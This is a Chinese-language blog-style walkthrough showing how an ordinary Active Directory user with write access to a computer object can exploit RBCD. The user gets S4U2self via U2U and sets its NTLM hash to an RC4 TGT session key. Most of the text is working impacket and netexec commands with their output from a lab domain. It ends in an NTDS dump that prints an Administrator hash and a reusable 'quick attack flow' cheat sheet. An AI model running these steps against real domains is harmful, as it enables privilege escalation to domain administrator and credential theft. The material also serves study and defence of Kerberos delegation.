使用普通用户帐户远程利用 RBCD(基于资源委派)
我是站在巨人们的肩膀上
在这篇文章开始之前,我本来想详细解释一下rbcd,奈何Wagging the Dog写的文章已经足够全面了,这就像我这篇文章的主旋律一样,我吸取了0xdf这台phantom的知识,并且他把我引导到了James Forshaw这篇此文章基础的知识点。在我意识到0xdf的那台靶场环境存在限制并且James Forshaw并没有完全描述出远程攻击的利用手段,便有了这篇文章,就算你没有去看以上的文章,我也会尽可能让你理解使用普通用户帐户远程利用 RBCD
从失败中找到答案
Wagging the Dog描述的很明确,当我们对本地计算机的域帐户具有写入访问权限,即可修改msDS-AllowedToActOnBehalfOfOtherIdentity属性以添加另一个帐户的 SID。之后就可以将该帐户与用户服务(S4U)协议一起使用,以获取本地计算机的 Kerberos 服务票证,作为域上的任何用户(包括本地管理员)进行票据认证
正常的rbcd一般需要我们创建一台机器账户或者手中已经有了一台完全控制的机器账户,这样才能正常的对目标进行请求,要绕过这个限制,我们需要实践一下看看报错是如何产生的
┌──(wackymaker㉿kali)-[~/test]
└─$ cat start.sh
ip=192.168.174.145
user=mrrobot
pass=mrroboto12
domain=novice.com
hash=c8fa8686516464c51cfc0bdc3e52ef9e
FQDN=DC.novice.com
我在本地配置了如上环境,域用户mrrobot具备对dc$的GenericWrite的权限,以便我们可以配置rbcd的环境,我们先正常的将mrrobot写入DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性并尝试委派
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-rbcd -action write -delegate-to "DC$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] mrrobot can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] MrRobot (S-1-5-21-3649830887-1815587496-1699028491-1104)
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getST -impersonate Administrator -spn cifs/DC.novice.com $domain/$user:$pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Probably user mrrobot does not have constrained delegation permisions or impersonated user does not exist
可以看到我们写入属性是成功的,但是在请求委派的过程种遭到了报错
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
这段报错意味着请求过程在S4U2self阶段报错,原因在James Forshaw的文章写的很清楚,kdc不清楚该使用何加密密钥,因为我们请求的用户并不具备spn,而一般的机器用户在创建的时候就会创建一系列自身的服务,也就是说自带spn,这里是一般我们只会使用机器账户进行委派的关键
当我们请求S4U2Self的时候S4U2Self需要KDC能够找到目标主体的长期密钥(long-term key)来生成票据。这个长期密钥是每个域内账户都拥有的RC4-HMAC或AES加密的一个密钥,而spn的作用本质上是指向某个账户,所以本质上的流程是这样
机器用户请求委派 → S4U2Self需要KDC提供一个可用于加密的长期密钥 → KDC依据我们提供的spn的绑定找到账户 → 用账户长期密钥加密票据 → 下一步
所以我们的用户如果没有spn,KDC默认情况下是找不到一个可以利用的长期密钥的
绕过S4U2Self
这种情况我们有两种解决方式
- 为用户添加spn(如果没有上级已经掌握用户对此用户存在通用写入及以上权限的情况下,域用户默认不允许修改自己的spn)
- 通过U2U方式进行请求,强行指定KDC选择当前用户的长期密钥进行加密票据
U2U(User-to-User)是Kerberos协议的一种扩展,用于在用户之间直接获取服务票据(TGS)而不依赖服务账户的长期密钥。如果服务支持 U2U,Kerberos可以使用目标用的 TGT(或者票据中的 session key)加密请求,直接生成服务票据,而不需要服务账户的明文密码或密钥
当我们启用了u2u,请求流程就会变成如下
域用户利用u2u请求委派 → S4U2Self需要KDC提供一个可用于加密的长期密钥 → KDC依据u2u直接找到目标(可指定,但这里我们一般使用自身) → 用目标账户长期密钥加密票据 → 下一步
impacket包支持u2u的请求方式,让我们利用u2u进行尝试一次
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getST -u2u -impersonate Administrator -spn cifs/DC.novice.com $domain/$user:$pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user mrrobot or initial TGT not forwardable
可以看到这里我们使用S4U2self+U2U进行了成功请求,但是在转发的时候被S4U2Proxy报错,报错提示了KDC_ERR_BADOPTION错误这几乎可以肯定是因为 KDC 无法解密 S4U2Proxy 请求中发送的票证。
S4U2Proxy的限制以及绕过
当我们发起S4U2Proxy请求时KDC会执行如下操作,kdc首先需要检查我们提供的S4U2Self服务票据,也就是刚才我们成功过绕过的票据,kdc会尝试解密这个票据来验证其有效性。
kdc校验PAC(Privilege Attribute Certificate)里的签名:
- Server Signature:用服务票据的 session key 加 HMAC。
- KDC Signature:用 KDC 的主密钥加 HMAC。
这里的session_key是在请求之前利用我们指定长期密钥加密的一串随机密钥,格式为aes或者rc4,解密过程kdc也会需要去寻找提交用户的spn进行解密,当它发现我们没有spn的时候就会退回并尝试使用用户长期密钥,这就导致了失败认证。
听着有点复杂,但是简单能浓缩成两句话:
- 正常流程:KDC 找到 SPN → 用服务长期密钥解密 PAC → 成功。
- 普通用户没有 SPN:KDC fallback 用用户长期密钥 → 与 PAC 加密 key 不符 → 失败。
这里的绕过思路就是让用户长期密钥与pac加密key相符,,但是我们没有办法直接修改pac,因为在我们拥有密钥的情况下虽然可以修改Server Signature但是我们并修改不了KDC Signature,它是使用KDC自己的密钥密钥的HMAC。我们不知道此密钥,也就没办法修改,所以我们只能另辟蹊径,尝试让此域用户的长期密钥直接等于session key就可以理论上绕过这个限制
为了获取sessionkey,我们需要以用户身份远程请求tgt并解密查看
┌──(wackymaker㉿kali)-[~/test]
└─$ rm mrrobot.ccache
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getTGT $domain/$user:$pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in mrrobot.ccache
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-describeTicket mrrobot.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : fb6f9d587e3b8c08a0390e82a3c9fa4d281088835c3bd631712bd99c42246bb2
.............
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
这里可以看到我们利用密码请求了一个tgt,解密后获得的session key为
fb6f9d587e3b8c08a0390e82a3c9fa4d281088835c3bd631712bd99c42246bb2
这个长度明显是用aes加密而成,我们需要将用户的hash直接更改为此session key是很困难的,由于ntlmhash是rc4加密过程,这个就是0xdf文章当中未提到的,我们整套攻击流程显然都需要目标开启rc4认证,但一般域虽然默认开启,却不会默认使用rc4,pha那台靶机是不仅启用,也默认使用了rc4加密,所以才允许用密码请求tgt获取到了rc4加密的session key,这里解决办法也很简单,只需要我们以hash请求即可,以ntlmhash请求tgt就会使kdc默认使用rc4进行加密session key
┌──(wackymaker㉿kali)-[~/test]
└─$ iconv -f ASCII -t UTF-16LE <(printf "mrroboto12") | openssl dgst -md4
MD4(stdin)= c8fa8686516464c51cfc0bdc3e52ef9e
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in mrrobot.ccache
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-describeTicket mrrobot.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : fce9e6a3381a5301dd00d59aaae12af6
[*] User Name : mrrobot
[*] User Realm : NOVICE.COM
[*] Service Name : krbtgt/NOVICE.COM
[*] Service Realm : NOVICE.COM
[*] Start Time : 23/08/2025 01:33:38 AM
[*] End Time : 23/08/2025 11:33:38 AM
[*] RenewTill : 24/08/2025 01:33:38 AM
[*] Flags : (0x50c10000) forwardable, proxiable, renewable, initial, enc_pa_rep
[*] KeyType : rc4_hmac
[*] Base64(key) : /OnmozgaUwHdANWaquEq9g==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/NOVICE.COM
[*] Service Realm : NOVICE.COM
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
可以看到这次session key是rc4格式
fce9e6a3381a5301dd00d59aaae12af6
完全符合了ntlm的格式,所以我们可以将此域用户的ntlm直接修改为session key
┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-changepasswd -newhashes :fce9e6a3381a5301dd00d59aaae12af6 $domain/$user:$pass@DC.novice.com -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of novice.com\mrrobot
[*] Connecting to DCE/RPC as novice.com\mrrobot
[*] Password was changed successfully.
[!] User will need to change their password on next logging because we are using hashes.
注意这一步是自毁式攻击,如果攻击失败,无法获得高权限的情况下,此用户会失效(因为我们改了它的hash,应用于hash认证的手段还是正常的,但是噪音会比较大)
当修改完毕后,我们会发现攻击成功了
┌──(wackymaker㉿kali)-[~/test]
└─$ KRB5CCNAME=mrrobot.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/DC.novice.com $domain/$user -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.novice.com@NOVICE.COM.ccache
票据也是可以利用的
┌──(wackymaker㉿kali)-[~/test]
└─$ KRB5CCNAME=Administrator@cifs_DC.novice.com@NOVICE.COM.ccache netexec smb $ip --use-kcache --ntds --user Administrator
SMB 192.168.174.145 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:novice.com) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 192.168.174.145 445 DC [+] novice.com\Administrator from ccache (Pwn3d!)
SMB 192.168.174.145 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.174.145 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34:::
这就是全部的流程了
攻击导致的结果以及需要的条件
- 需要域启用rc4
- 需要用户的密码或者hash,只有票据的情况下无法攻击
- 使用用户会牺牲,之后可能很难使用密码登录。
- 噪音比较大,容易被安全审查发现
快速攻击流程
首先确定此用户确实对目标有rbcd(allowtoacl)权限,没有的话利用权限写入一个
impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip
之后利用hash请求域用户tgt(必须利用hash,要不然后续session_key加密不一定是rc4加密,无法攻击,如果是密码,请先转换为hash
#将密码转换为hash
iconv -f ASCII -t UTF-16LE <(printf "$pass") | openssl dgst -md4
#请求tgt
impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
#验证tgt是否是rc4加密session_key
impacket-describeTicket $user.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : c6427e4b47c680c7017571327c141b95
...............
#当看到tgt的session_key是ntlm格式而不是aes长段格式。这一步就成功了
请求完毕后,将此改此用户hash等于session_key
impacket-changepasswd -newhashes :c6427e4b47c680c7017571327c141b95 $domain/$user:$pass@$FQDN -dc-ip $ip
修改成功后,就能正常利用域用户进行rbcd
KRB5CCNAME=$user.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/$FQDN $domain/$user -k -no-pass